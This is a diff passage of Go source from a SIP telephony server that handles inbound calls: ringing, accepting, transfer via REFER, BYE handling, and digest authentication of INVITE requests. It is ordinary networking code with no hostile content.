- info.Error = reason.String() - } - } - }) - if reason.Type != "" { - if !reason.IsNormal() { - t.Reason = fmt.Sprintf("bye-%s-%d", strings.ToLower(reason.Type), reason.Cause) - } - } - c.close(ctx, EndCall{ - Status: status, - Term: t, - }) -} - -func (c *inboundCall) Bye(reason ReasonHeader) { - c.closeReason.Store(&reason) - _ = c.Close() -} - -func (c *inboundCall) Close() error { - c.cancel() - return nil -} - -// Shutdown force-closes the call as part of service shutdown, emitting a -// server_error termination so the call is counted in the SLI denominator. -// close() is idempotent via c.done, so concurrent paths cannot double-emit. -func (c *inboundCall) Shutdown(ctx context.Context) { - c.closeWithTerm(ctx, stats.ServerError("shutdown")) -} - -func (c *inboundCall) updateRemoteFromSDP(body []byte) error { - var mp MediaPort - - c.mmu.Lock() - mp = c.media - c.mmu.Unlock() - - if mp == nil { - return nil - } - _, err := mp.GenerateAnswer(body) - return err -} - -func (c *inboundCall) closeMedia() { - c.lkRoom.Close() - c.mmu.Lock() - defer c.mmu.Unlock() - if c.media != nil { - c.media.Close() - } -} - -func (c *inboundCall) setStatus(v CallStatus) { - attr := v.Attribute() - if attr == "" { - return - } - if c.lkRoom == nil { - return - } - r := c.lkRoom.Room() - if r == nil || r.LocalParticipant == nil { - return - } - - r.LocalParticipant.SetAttributes(map[string]string{ - livekit.AttrSIPCallStatus: attr, - }) -} - -func (c *inboundCall) createLiveKitParticipant(ctx context.Context, rconf RoomConfig, status CallStatus) error { - ctx, span := Tracer.Start(ctx, "sip.inbound.createLiveKitParticipant") - defer span.End() - partConf := &rconf.Participant - if partConf.Attributes == nil { - partConf.Attributes = make(map[string]string) - } - for k, v := range c.extraAttrs { - partConf.Attributes[k] = v - } - partConf.Attributes[livekit.AttrSIPCallStatus] = status.Attribute() - select { - case <-ctx.Done(): - return ctx.Err() - default: - } - - treg := c.mon.StageDurTimer("lk-reg-transfer") - err := c.s.RegisterTransferSIPParticipant(LocalTag(c.cc.ID()), c) - treg() - if err != nil { - return err - } - - tconn := c.mon.StageDurTimer("lk-connect") - err = c.lkRoom.Connect(ctx, c.s.conf, rconf) - tconn() - if err != nil { - return err - } - if err := registerSignalingRPC(c.lkRoom, c.cc); err != nil { - return err - } - if err := registerCallRPC(c.lkRoom, c); err != nil { - return err - } - return nil -} - -func (c *inboundCall) publishTrack(features []livekit.SIPFeature, featureFlags map[string]string) error { - defer c.mon.StageDurTimer("track-publish")() - inboundAudio, err := c.lkRoom.GetInboundAudioWriter() - if err != nil { - _ = c.lkRoom.Close() - return err - } - - if audioInProcessor := c.s.handler.GetMediaProcessor(features, featureFlags, string(c.cc.ID()), MediaProcessorOpts{InputSampleRate: RoomSampleRate}); audioInProcessor != nil { - inboundAudio = audioInProcessor(inboundAudio) - } - if old := c.media.WriteInboundAudioTo(inboundAudio); old != nil { - c.log().Warnw("media port has unexpected inbound audio writer", nil) - old.Close() - } - if old := c.media.WriteInboundDTMFTo(c.lkRoom.GetInboundDTMFWriter()); old != nil { - old.Close() // Can be pinDTMFWriter - } - return nil -} - -func (c *inboundCall) joinRoom(ctx context.Context, rconf RoomConfig, status CallStatus) error { - defer c.mon.StageDurTimer("join-room")() - if c.joinDur != nil { - c.joinDur() - } - c.callDur = c.mon.CallDur() - c.appendLogValues( - "room", rconf.RoomName, - "participant", rconf.Participant.Identity, - "participantName", rconf.Participant.Name, - ) - c.log().Infow("Joining room") - if err := c.createLiveKitParticipant(ctx, rconf, status); err != nil { - c.log().Errorw("Cannot create LiveKit participant", err) - c.closeWithTerm(ctx, stats.ServerError("participant-failed")) - return fmt.Errorf("cannot create LiveKit participant: %w", err) - } - return nil -} - -func (c *inboundCall) playAudio(ctx context.Context, frames []msdk.PCM16Sample) { - t := c.lkRoom.NewTrack() - if t == nil { - return // closed - } - defer t.Close() - - sampleRate := res.SampleRate - if t.SampleRate() != sampleRate { - frames = slices.Clone(frames) - for i := range frames { - frames[i] = msdk.Resample(nil, t.SampleRate(), frames[i], sampleRate) - } - } - _ = msdk.PlayAudio[msdk.PCM16Sample](ctx, t, rtp.DefFrameDur, frames) -} - -func dtmfEventFromSipDTMF(msg *livekit.SipDTMF) dtmf.Event { - code := byte(msg.Code) - digit := byte(0) - if len(msg.Digit) == 1 { - digit = msg.Digit[0] - } else { - digit = dtmf.CodeToChar(code) - } - return dtmf.Event{ - Code: code, - Digit: digit, - } -} - -func (c *inboundCall) transferCall(ctx context.Context, transferTo string, headers map[string]string, dialtone bool) (transferID string, retErr error) { - var err error - - transferID = c.state.StartTransfer(transferTo) - defer func() { - c.state.EndTransfer(transferID, retErr) - }() - - if dialtone && c.started.IsBroken() && !c.done.Load() { - const ringVolume = math.MaxInt16 / 2 - - c.mmu.Lock() - mp := c.media - c.mmu.Unlock() - if mp == nil { - return transferID, fmt.Errorf("media port not found") - } - // Mute the room audio to the SIP participant. - _ = c.lkRoom.WriteOutboundAudioTo(nil) // Not closing mp anchor - defer func() { - if retErr != nil && !c.done.Load() { - c.lkRoom.WriteOutboundAudioTo(mp.GetOutboundAudioWriter()) - } - }() - - rctx, rcancel := context.WithCancel(ctx) - defer rcancel() - go func() { - err := tones.Play(rctx, mp.GetOutboundAudioWriter(), ringVolume, tones.ETSIRinging) - if err != nil && !errors.Is(err, context.Canceled) && !errors.Is(err, context.DeadlineExceeded) { - c.log().Infow("cannot play dial tone", "error", err) - } - }() - } - - err = c.cc.TransferCall(ctx, transferTo, headers, c.ctx.Done()) - if err != nil { - c.log().Infow("inbound call failed to transfer", "error", err, "transferTo", transferTo) - return transferID, err - } - - c.log().Infow("inbound call transferred", "transferTo", transferTo) - - // Give time for the peer to hang up first, but hang up ourselves if this doesn't happen within 1 second - time.AfterFunc(referByeTimeout, func() { c.Close() }) - - return transferID, nil -} - -func (s *Server) newInbound(invite *sip.Request, inviteTx sip.ServerTransaction, src netip.AddrPort) (*sipInbound, error) { - sipCallIDHdr := invite.CallID() - if sipCallIDHdr == nil { - return nil, errors.New("no Call-ID header in INVITE") - } - sipCallID := sipCallIDHdr.Value() - if sipCallID == "" { - return nil, errors.New("no Call-ID header in INVITE") - } - fromHdr := invite.From() - if fromHdr == nil { - return nil, errors.New("no From header in INVITE") - } - fromParams := fromHdr.Params - if fromParams == nil { - return nil, errors.New("no tag in From in INVITE") - } - fromTag, ok := fromParams.Get("tag") - if !ok || fromTag == "" { - return nil, errors.New("no tag in From in INVITE") - } - toHdr := invite.To() - if toHdr == nil { - return nil, errors.New("no To header in INVITE") - } - - if toHdr.Params == nil { - toHdr.Params = sip.NewParams() - } - toTag, ok := toHdr.Params.Get("tag") - if !ok || toTag == "" { - // Check if the call-ID + from tag is in the provisional invites cache - s.cmu.Lock() - cachedTag, ok := s.provisionalInvites.Get([2]string{sipCallID, fromTag}) - s.cmu.Unlock() - if ok && cachedTag != "" { - // Use the cached tag to reuse the originally assigned SCL ID - toTag = string(cachedTag) - } else { - // New dialog is being created. Generate a local tag - toTag = lksip.NewCallID() - } - toHdr.Params.Add("tag", toTag) - } - - legTr := legTransportFromReq(invite) - contact := s.ContactURI(legTr) - log := s.log.WithValues( - "callID", toTag, - "traceID", traceid.FromGUID(toTag), - "sipCallID", sipCallID, - "fromIP", src.Addr().String(), - "toIP", invite.Destination(), - "fromHost", fromHdr.Address.Host, - "fromUser", fromHdr.Address.User, - "toHost", toHdr.Address.Host, - "toUser", toHdr.Address.User, - "sipTag", fromTag, - "direction", "inbound", - ) - c := &sipInbound{ - s: s, - id: LocalTag(toTag), - invite: invite, - inviteTx: inviteTx, - to: toHdr, - from: fromHdr, - tag: RemoteTag(fromTag), - sipCallID: sipCallID, - legTr: legTr, - contact: &sip.ContactHeader{ - Address: *contact.GetContactURI(), - }, - cancelled: make(chan struct{}), - referDone: make(chan error), // Do not buffer the channel to avoid reading a result for an old request - } - if h := invite.CSeq(); h != nil { - c.inviteCSeq = h.SeqNo - c.nextRequestCSeq = h.SeqNo + 1 - } - log = LoggerWithHeaders(log, c) - c.log = log - - return c, nil -} - -type sipInbound struct { - log logger.Logger - s *Server - id LocalTag // SCL - tag RemoteTag - sipCallID string - invite *sip.Request - inviteCSeq uint32 - inviteTx sip.ServerTransaction - contact *sip.ContactHeader - cancelled chan struct{} - from *sip.FromHeader - to *sip.ToHeader - legTr Transport - referDone chan error - - mu sync.RWMutex - lastSDP []byte - inviteOk *sip.Response - nextRequestCSeq uint32 - referCseq uint32 - ringing chan struct{} - acked core.Fuse - ack atomic.Pointer[sip.Request] // non-nil once acked is broken - call *inboundCall -} - -func (c *sipInbound) SetCall(call *inboundCall) { - c.call = call -} - -func (c *sipInbound) fillHeaders(headers map[string]string) map[string]string { - if c == nil || c.call == nil || len(c.call.attrsToHdr) == 0 { - return headers - } - r := c.call.lkRoom.Room() - if r == nil { - return headers - } - return AttrsToHeaders(r.LocalParticipant.Attributes(), c.call.attrsToHdr, headers) -} - -func (c *sipInbound) Drop() { - c.mu.Lock() - defer c.mu.Unlock() - c.drop() -} - -func (c *sipInbound) drop() { - c.stopRinging() - if c.inviteTx != nil { - c.inviteTx.Terminate() - } - c.inviteTx = nil - c.invite = nil - c.inviteOk = nil - c.nextRequestCSeq = 0 -} - -func (c *sipInbound) respond(status sip.StatusCode, reason string) { - c.respondWithData(status, reason, "", nil) -} - -func (c *sipInbound) respondWithData(status sip.StatusCode, reason string, contentType string, body []byte) { - if c.inviteTx == nil { - return - } - - r := sip.NewResponseFromRequest(c.invite, status, reason, body) - if typ := sip.ContentTypeHeader(contentType); typ != "" { - r.AppendHeader(&typ) - } - r.AppendHeader(sip.HeaderClone(allowHeader)) - if status >= 200 { - // For an ACK to error statuses. - r.AppendHeader(c.contact) - } - c.addExtraHeaders(r) - _ = c.inviteTx.Respond(r) -} - -func (c *sipInbound) RespondAndDrop(status sip.StatusCode, reason string) { - c.mu.Lock() - defer c.mu.Unlock() - c.stopRinging() - c.respond(status, reason) - c.drop() - // Cache the response so a retry reusing the same Call-ID + From-tag - // (e.g. provider failover after a 4xx) gets the cached reply replayed - // instead of running through the handler again. - if c.s != nil && c.s.rejectedInvites != nil && status >= 300 && c.sipCallID != "" { - c.s.rejectedInvites.Add( - [2]string{c.sipCallID, string(c.tag)}, - rejectedInviteResponse{status: status, reason: reason}, - ) - } -} - -func (c *sipInbound) Address() sip.Uri { - if c.invite == nil { - return sip.Uri{} - } - return c.invite.Recipient -} - -func (c *sipInbound) From() sip.Uri { - if c.from == nil { - return sip.Uri{} - } - return c.from.Address -} - -func (c *sipInbound) To() sip.Uri { - if c.to == nil { - return sip.Uri{} - } - return c.to.Address -} - -func (c *sipInbound) ID() LocalTag { - return c.id -} - -func (c *sipInbound) Tag() RemoteTag { - return c.tag -} - -func (c *sipInbound) SIPCallID() string { - return c.sipCallID -} - -func (c *sipInbound) InviteCSeq() uint32 { - return c.inviteCSeq -} - -func (c *sipInbound) RemoteHeaders() Headers { - c.mu.RLock() - defer c.mu.RUnlock() - if c.invite == nil { - return nil - } - return c.invite.Headers() -} - -func (c *sipInbound) Processing() { - c.mu.Lock() - defer c.mu.Unlock() - c.respond(sip.StatusTrying, "Processing") -} - -func (c *sipInbound) sendRinging() { - c.respond(sip.StatusRinging, "Ringing") -} - -func (c *sipInbound) attachTag() { - // Set the SIP tag for following requests from us to remote (e.g. BYE). - c.to.Params.Add("tag", string(c.id)) -} - -func (c *sipInbound) StartRinging() { - c.mu.Lock() - defer c.mu.Unlock() - c.attachTag() - c.sendRinging() - stop := make(chan struct{}) - c.ringing = stop - tx := c.inviteTx - cancels := tx.Cancels() - go func() { - ticker := time.NewTicker(c.s.conf.SIPRingingInterval) - defer ticker.Stop() - for { - select { - case <-stop: - return - case r := <-cancels: - close(c.cancelled) // Other goroutines will respond to the primary INVITE - _ = tx.Respond(sip.NewResponseFromRequest(r, sip.StatusOK, "OK", nil)) - return - case <-ticker.C: - } - c.mu.Lock() - c.sendRinging() - c.mu.Unlock() - } - }() -} - -func (c *sipInbound) stopRinging() { - if c.ringing != nil { - close(c.ringing) - c.ringing = nil - } -} - -func (c *sipInbound) GotACK() bool { - return c.acked.IsBroken() -} - -func (c *sipInbound) InviteACK() <-chan struct{} { - return c.acked.Watch() -} - -func (c *sipInbound) Cancelled() <-chan struct{} { - return c.cancelled -} - -func (c *sipInbound) addExtraHeaders(r *sip.Response) { - if c.s.conf.AddRecordRoute { - // Other in-dialog requests should be sent to this instance as well. - recordRoute := c.contact.Address.Clone() - if recordRoute.UriParams == nil { - recordRoute.UriParams = sip.HeaderParams{} - } - recordRoute.UriParams.Add("lr", "") - r.PrependHeader(&sip.RecordRouteHeader{ - Address: *recordRoute, - }) - } -} - -func (c *sipInbound) accepted(inviteOK *sip.Response) { - c.inviteOk = inviteOK - c.inviteTx = nil -} - -func (c *sipInbound) AcceptAsKeepAlive(sdp []byte) { - c.respondWithData(sip.StatusOK, "OK", "application/sdp", sdp) -} - -func (c *sipInbound) RejectAsKeepAlive(status sip.StatusCode, reason string) { - c.respond(status, reason) -} - -// TODO(alexfish): Remove this function in favor once re-invites are -// consistently responded to with the MediaPort's local SDP. -func (c *sipInbound) OwnSDP() []byte { - c.mu.RLock() - defer c.mu.RUnlock() - return c.lastSDP -} - -func (c *sipInbound) SetOwnSDP(sdpData []byte) { - c.mu.Lock() - defer c.mu.Unlock() - c.lastSDP = sdpData -} - -func (c *sipInbound) Accept(ctx context.Context, sdpData []byte, headers map[string]string, waitForAck bool) error { - ctx, span := Tracer.Start(ctx, "sip.inbound.Accept") - defer span.End() - c.mu.Lock() - defer c.mu.Unlock() - if c.inviteTx == nil { - return errors.New("call already rejected") - } - c.lastSDP = sdpData - r := sip.NewResponseFromRequest(c.invite, sip.StatusOK, "OK", sdpData) - - // This will effectively redirect future SIP requests to this server instance (if host address is not LB). - r.AppendHeader(c.contact) - - c.addExtraHeaders(r) - - r.AppendHeader(&contentTypeHeaderSDP) - for k, v := range headers { - r.AppendHeader(sip.NewHeader(k, v)) - } - c.stopRinging() - retryAfter := inviteOkRetryInterval - maxRetries := inviteOKRetryAttempts - if !waitForAck { - // Still retry, but limit it to ~750ms. - maxRetries = inviteOKRetryAttemptsNoACK - } - if c.legTr != TransportUDP { - maxRetries = 1 - // That actually becomes an ACK timeout here. - retryAfter = inviteOkRetryIntervalMax - } - var acceptErr error -retries: - for try := 1; ; try++ { - if err := c.inviteTx.Respond(r); err != nil { - return err - } - if !waitForAck && c.legTr != TransportUDP { - // Reliable transport and we are not waiting for ACK - return immediately. - break retries - } - t := time.NewTimer(retryAfter) - select { - case <-c.inviteTx.Acks(): - t.Stop() - break retries - case <-c.acked.Watch(): - t.Stop() - break retries - case <-t.C: - } - if try > maxRetries { - // Only set error if an option is enabled. - // Otherwise, ignore missing ACK for now. - if waitForAck { - acceptErr = errNoACK - } - break retries - } - retryAfter *= 2 - retryAfter = min(retryAfter, inviteOkRetryIntervalMax) - } - // Other side likely thinks it's accepted, so update our state accordingly, even if no ACK follows. - c.accepted(r) - return acceptErr -} - -func (c *sipInbound) AcceptAck(req *sip.Request, tx sip.ServerTransaction) { - cseq := req.CSeq() - if cseq == nil || cseq.SeqNo != c.inviteCSeq { - c.log.Debugw("ignoring ACK for another INVITE", "inviteCSeq", c.inviteCSeq, "ackCSeq", cseq) - return - } - // Only store the first ACK seen. - c.ack.CompareAndSwap(nil, req) - c.acked.Break() -} - -// Ack returns the first ACK seen for this call. -func (c *sipInbound) Ack() *sip.Request { - return c.ack.Load() -} - -func (c *sipInbound) AcceptBye(req *sip.Request, tx sip.ServerTransaction) { - _ = tx.Respond(sip.NewResponseFromRequest(req, 200, "OK", nil)) - c.mu.Lock() - defer c.mu.Unlock() - c.drop() // mark as closed -} - -func (c *sipInbound) swapSrcDst(req *sip.Request) { - dest := c.inviteOk.Destination() - if contact := c.invite.Contact(); contact != nil { - req.Recipient = contact.Address - dest = ConvertURI(&contact.Address).GetDest() - } else { - req.Recipient = c.from.Address - } - if route := c.invite.RecordRoute(); route != nil { - dest = ConvertURI(&route.Address).GetDest() - } - req.SetSource(c.inviteOk.Source()) - req.SetDestination(dest) - req.RemoveHeader("From") - req.AppendHeader((*sip.FromHeader)(c.to)) - req.RemoveHeader("To") - req.AppendHeader((*sip.ToHeader)(c.from)) - // Remove all Via headers - for req.RemoveHeader("Via") { - } - req.PrependHeader(c.generateViaHeader(req)) - - rrHdrs := req.GetHeaders("Record-Route") - for _, hdr := range rrHdrs { - req.PrependHeader(&sip.RouteHeader{Address: hdr.(*sip.RecordRouteHeader).Address}) - } - // Remove all Record-Route headers - for req.RemoveHeader("Record-Route") { - } -} - -func (c *sipInbound) generateViaHeader(req *sip.Request) *sip.ViaHeader { - newvia := &sip.ViaHeader{ - ProtocolName: "SIP", - ProtocolVersion: "2.0", - Transport: req.Transport(), - Host: c.s.sconf.SignalingIP.String(), // This can be rewritten by transport layer - Port: c.s.conf.SIPPort, // This can be rewritten by transport layer - Params: sip.NewParams(), - } - // NOTE: Consider length of branch configurable - newvia.Params.Add("branch", sip.GenerateBranchN(16)) - - return newvia -} - -func (c *sipInbound) setCSeq(req *sip.Request) { - setCSeq(req, c.nextRequestCSeq) - - c.nextRequestCSeq++ -} - -func (c *sipInbound) sendBye(ctx context.Context, headers map[string]string) { - ctx = context.WithoutCancel(ctx) - if c.inviteOk == nil { - return // call wasn't established - } - if c.invite == nil { - return // rejected or closed - } - ctx, span := Tracer.Start(ctx, "sip.inbound.sendBye") - defer span.End() - // This function is for clients, so we need to swap src and dest - r := sip.NewByeRequest(c.invite, c.inviteOk, nil) - for k, v := range c.fillHeaders(nil) { - r.AppendHeader(sip.NewHeader(k, v)) - } - for k, v := range headers { - r.AppendHeader(sip.NewHeader(k, v)) - } - - c.setCSeq(r) - c.swapSrcDst(r) - c.drop() - sendBye(ctx, c.log, c, r) -} - -func (c *sipInbound) sendStatus(ctx context.Context, result Result, headers map[string]string) { - ctx = context.WithoutCancel(ctx) - if c.inviteOk != nil { - return // call already established - } - if c.inviteTx == nil { - return // rejected or closed - } - ctx, span := Tracer.Start(ctx, "sip.inbound.sendStatus") - defer span.End() - - r := result.NewResponse(c.invite) - for k, v := range c.fillHeaders(nil) { - r.AppendHeader(sip.NewHeader(k, v)) - } - for k, v := range headers { - r.AppendHeader(sip.NewHeader(k, v)) - } - _ = c.inviteTx.Respond(r) - c.drop() -} - -func (c *sipInbound) WriteRequest(req *sip.Request) error { - return c.s.sipSrv.TransportLayer().WriteMsg(req) -} - -func (c *sipInbound) Transaction(req *sip.Request) (sip.ClientTransaction, error) { - return c.s.sipSrv.TransactionLayer().Request(req) -} - -func (c *sipInbound) newReferReq(transferTo string, headers map[string]string) (*sip.Request, error) { - c.mu.Lock() - defer c.mu.Unlock() - - if c.invite == nil || c.inviteOk == nil { - return nil, psrpc.NewErrorf(psrpc.FailedPrecondition, "can't transfer non established call") // call wasn't established - } - - from := c.invite.From() - if from == nil { - return nil, psrpc.NewErrorf(psrpc.InvalidArgument, "no From URI in invite") - } - headers = c.fillHeaders(headers) - - // This will effectively redirect future SIP requests to this server instance (if host address is not LB). - req := NewReferRequest(c.invite, c.inviteOk, c.contact, transferTo, headers) - c.setCSeq(req) - c.swapSrcDst(req) - - cseq := req.CSeq() - if cseq == nil { - return nil, psrpc.NewErrorf(psrpc.Internal, "missing CSeq header in REFER request") - } - c.referCseq = cseq.SeqNo - return req, nil -} - -func (c *sipInbound) TransferCall(ctx context.Context, transferTo string, headers map[string]string, callDone <-chan struct{}) error { - req, err := c.newReferReq(transferTo, headers) - if err != nil { - return err - } - - _, err = sendRefer(ctx, c, req, c.s.closing.Watch()) - if err != nil { - return err - } - - return waitReferResult(ctx, c.log, callDone, c.referDone) -} - -func (c *sipInbound) handleNotify(req *sip.Request, tx sip.ServerTransaction) error { - info, err := handleNotify(req) - if err != nil { - return err - } - c.log.Infow("handling NOTIFY", "method", info.Method, "status", info.Status, - "reason", info.Reason, "cseq", info.CSeq, "subscription", info.Sub.String()) - - switch info.Method { - default: - return nil - case sip.REFER: - // Read referCseq under the lock, then release it before handing the - // result over. That handoff can park on the unbuffered channel for - // notifyAckTimeout, and while we hold the read lock every caller of - // c.mu.Lock() waits: AcceptBye and CloseWithStatus among them, so an - // arriving BYE would be what we blocked. - c.mu.RLock() - referCseq := c.referCseq - c.mu.RUnlock() - handleReferNotify(info, referCseq, c.referDone) - return nil - } -} - -// Close the inbound call cleanly. Depending on the call state it either sends BYE or terminates INVITE with busy status. -func (c *sipInbound) Close(ctx context.Context) { - ctx = context.WithoutCancel(ctx) - c.CloseWithStatus(ctx, Result{ - Code: sip.StatusBusyHere, - Status: "Rejected", - }, nil) -} - -// CloseWithStatus the inbound call cleanly. Depending on the call state it either sends BYE or terminates INVITE with a specified status. -func (c *sipInbound) CloseWithStatus(ctx context.Context, result Result, headers map[string]string) { - ctx = context.WithoutCancel(ctx) - c.mu.Lock() - defer c.mu.Unlock() - if c.inviteOk != nil { - // TODO: add cause for a failure, if any - c.sendBye(ctx, headers) - } else if c.inviteTx != nil { - c.sendStatus(ctx, result, headers) - } else { - c.drop() - } -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "errors" + "fmt" + "log/slog" + "maps" + "math" + "net/netip" + "slices" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/frostbyte73/core" + "github.com/icholy/digest" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/media-sdk/tones" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + lksip "github.com/livekit/protocol/sip" + "github.com/livekit/protocol/utils/traceid" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" + "github.com/livekit/sip/res" +) + +const ( + statsInterval = time.Minute + + stateUpdateTick = 10 * time.Minute + + // audioBridgeMaxDelay delays sending audio for certain time, unless RTP packet is received. + // This is done because of audio cutoff at the beginning of calls observed in the wild. + audioBridgeMaxDelay = 1 * time.Second + + inviteOkRetryInterval = 250 * time.Millisecond // 1/2 of T1 for faster recovery + inviteOkRetryIntervalMax = 3 * time.Second + inviteOKRetryAttempts = 5 + inviteOKRetryAttemptsNoACK = 2 + inviteOkAckLateTimeout = inviteOkRetryIntervalMax + authChallengeTimeout = 30 * time.Second +) + +var allowHeader = sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE") + +var errNoACK = errors.New("no ACK received for 200 OK") + +// RFC 3261 §21.4.27 / §14.2 — glare: INVITE received while an INVITE we sent is in progress. +const statusRequestPending sip.StatusCode = 491 + +const contentTypeSDP string = "application/sdp" + +// hashPassword creates a SHA256 hash of the password for logging purposes +func hashPassword(password string) string { + if password == "" { + return "" + } + hash := sha256.Sum256([]byte(password)) + return hex.EncodeToString(hash[:8]) // Use first 8 bytes for shorter hash +} + +func generateNonce(sipCallID string) string { + return fmt.Sprintf("%d-%s", time.Now().UnixMicro(), sipCallID) +} + +type inboundCallInfo struct { + sync.Mutex + cseq uint32 + cseqAuth uint32 + invites uint32 + invitesAuth uint32 +} + +func inviteHasAuth(r *sip.Request) bool { + return r.GetHeader("Proxy-Authorization") != nil || + r.GetHeader("Authorization") != nil +} + +func (c *inboundCallInfo) countInvite(log logger.Logger, req *sip.Request) { + hasAuth := inviteHasAuth(req) + cseq := req.CSeq() + if cseq == nil { + return + } + c.Lock() + defer c.Unlock() + cseqPtr := &c.cseq + countPtr := &c.invites + name := "invite" + if hasAuth { + cseqPtr = &c.cseqAuth + countPtr = &c.invitesAuth + name = "invite with auth" + } + if *cseqPtr == 0 { + *cseqPtr = cseq.SeqNo + } + if cseq.SeqNo > *cseqPtr { + return // reinvite + } + *countPtr++ + if *countPtr > 1 { + log.Warnw("remote appears to be retrying an "+name, nil, "invites", *countPtr, "cseq", *cseqPtr) + } +} + +func (s *Server) getCallInfo(id LocalTag) *inboundCallInfo { + c, _ := s.infos.byLocalTag.Get(id) + if c != nil { + return c + } + s.infos.Lock() + defer s.infos.Unlock() + c, _ = s.infos.byLocalTag.Get(id) + if c != nil { + return c + } + c = &inboundCallInfo{} + s.infos.byLocalTag.Add(id, c) + return c +} + +func (s *Server) getInvite(sipCallID string) *inProgressInvite { + s.imu.Lock() + defer s.imu.Unlock() + for i := range s.inProgressInvites { + if s.inProgressInvites[i].sipCallID == sipCallID { + return s.inProgressInvites[i] + } + } + if len(s.inProgressInvites) >= digestLimit { + s.inProgressInvites = s.inProgressInvites[1:] + } + is := &inProgressInvite{sipCallID: sipCallID} + s.inProgressInvites = append(s.inProgressInvites, is) + return is +} + +// scheduleAuthChallengeTimeout finalizes st as SCS_ERROR after authChallengeTimeout +// unless authResolved is set to true (by a follow-up INVITE) before the timer fires. +func (i *inProgressInvite) scheduleAuthChallengeTimeout(st *CallState, log logger.Logger) { + i.authResolved.Store(false) + challengedAt := time.Now() + time.AfterFunc(authChallengeTimeout, func() { + if !i.authResolved.CompareAndSwap(false, true) { + return + } + log.Infow("auth challenge timed out without authenticated retry; finalizing call as error", + "sipCallID", i.sipCallID, "timeout", authChallengeTimeout) + st.Update(func(info *livekit.SIPCallInfo) { + info.CallStatus = livekit.SIPCallStatus_SCS_ERROR + info.Error = "auth challenge issued, no authenticated retry received" + // EndedAtNs reflects when the call effectively ended. + info.EndedAtNs = challengedAt.UnixNano() + }) + }) +} + +// handleInviteAuth performs SIP digest authentication on an inbound INVITE. +// The challenge return value distinguishes the normal digest handshake (where we +// just sent the initial 407 with no credentials yet provided and expect the +// client to retry) from a hard auth failure. Callers should treat +// (ok=false, challenge=true) as non-terminal so it doesn't end up recorded as +// a finalized error state. +func (s *Server) handleInviteAuth(tid traceid.ID, log logger.Logger, req *sip.Request, tx sip.ServerTransaction, from string, auth InboundAuth) (ok bool, challenge bool) { + if auth.Realm == "" { + auth.Realm = UserAgent + } + log = log.WithValues( + "username", auth.Username, + "passwordHash", hashPassword(auth.Password), + "method", req.Method.String(), + "uri", req.Recipient.String(), + ) + + log.Infow("Starting SIP invite authentication") + + if auth.Username == "" || auth.Password == "" { + log.Debugw("Skipping authentication - no credentials provided") + return true, false + } + + if s.conf.HideInboundPort { + // We will send password request anyway, so might as well signal that the progress is made. + log.Debugw("Sending processing response due to HideInboundPort config") + _ = tx.Respond(sip.NewResponseFromRequest(req, 100, "Processing", nil)) + } + + // Extract SIP Call ID for tracking in-progress invites + sipCallID := "" + if h := req.CallID(); h != nil { + sipCallID = h.Value() + } + inviteState := s.getInvite(sipCallID) + log = log.WithValues("inviteStateSipCallID", sipCallID) + + h := req.GetHeader("Proxy-Authorization") + if h == nil { + inviteState.challenge = digest.Challenge{ + Realm: auth.Realm, + Nonce: generateNonce(sipCallID), + Algorithm: "MD5", + } + + log.Debugw("Created digest challenge", + "realm", inviteState.challenge.Realm, + "nonce", inviteState.challenge.Nonce, + "algorithm", inviteState.challenge.Algorithm, + ) + + res := sip.NewResponseFromRequest(req, 407, "Unauthorized", nil) + res.AppendHeader(sip.NewHeader("Proxy-Authenticate", inviteState.challenge.String())) + _ = tx.Respond(res) + log.Infow("No Proxy header found. Sending 407 Unauthorized response with Proxy-Authenticate header") + return false, true + } + + log.Debugw("Found Proxy-Authorization header, parsing credentials") + cred, err := digest.ParseCredentials(h.Value()) + if err != nil { + log.Warnw("Failed to parse Proxy-Authorization credentials", err, + "headerValue", h.Value(), + ) + _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Bad credentials", nil)) + return false, false + } + + // Set credURI and credUsername in logger early to avoid repetitive logging + log = log.WithValues("credURI", cred.URI, "credUsername", cred.Username) + + log.Debugw("Parsed credentials successfully", "cred", cred) + + // Validate that the username in the request matches the expected username + if cred.Username != auth.Username { + log.Warnw("Authentication failed - username mismatch", errors.New("username mismatch"), + "expectedUsername", auth.Username, + "receivedUsername", cred.Username, + ) + _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Unauthorized", nil)) + return false, false + } + + // Check if we have a valid challenge state + if inviteState.challenge.Realm == "" { + log.Warnw("No challenge state found for authentication attempt", errors.New("missing challenge state"), + "sipCallID", sipCallID, + "expectedRealm", auth.Realm, + ) + _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Bad credentials", nil)) + return false, false + } + + log.Debugw("Computing digest response", + "challengeRealm", inviteState.challenge.Realm, + "challengeNonce", inviteState.challenge.Nonce, + "challengeAlgorithm", inviteState.challenge.Algorithm, + ) + + digCred, err := digest.Digest(&inviteState.challenge, digest.Options{ + Method: req.Method.String(), + URI: cred.URI, + Username: cred.Username, + Password: auth.Password, + }) + + if err != nil { + log.Warnw("Failed to compute digest response", err) + _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Bad credentials", nil)) + return false, false + } + + log.Debugw("Digest computation completed", + "expectedResponse", digCred.Response, + "receivedResponse", cred.Response, + "responsesMatch", cred.Response == digCred.Response, + ) + + if cred.Response != digCred.Response { + log.Warnw("Authentication failed - response mismatch", errors.New("response mismatch"), + "expectedResponse", digCred.Response, + "receivedResponse", cred.Response, + ) + _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Unauthorized", nil)) + return false, false + } + + 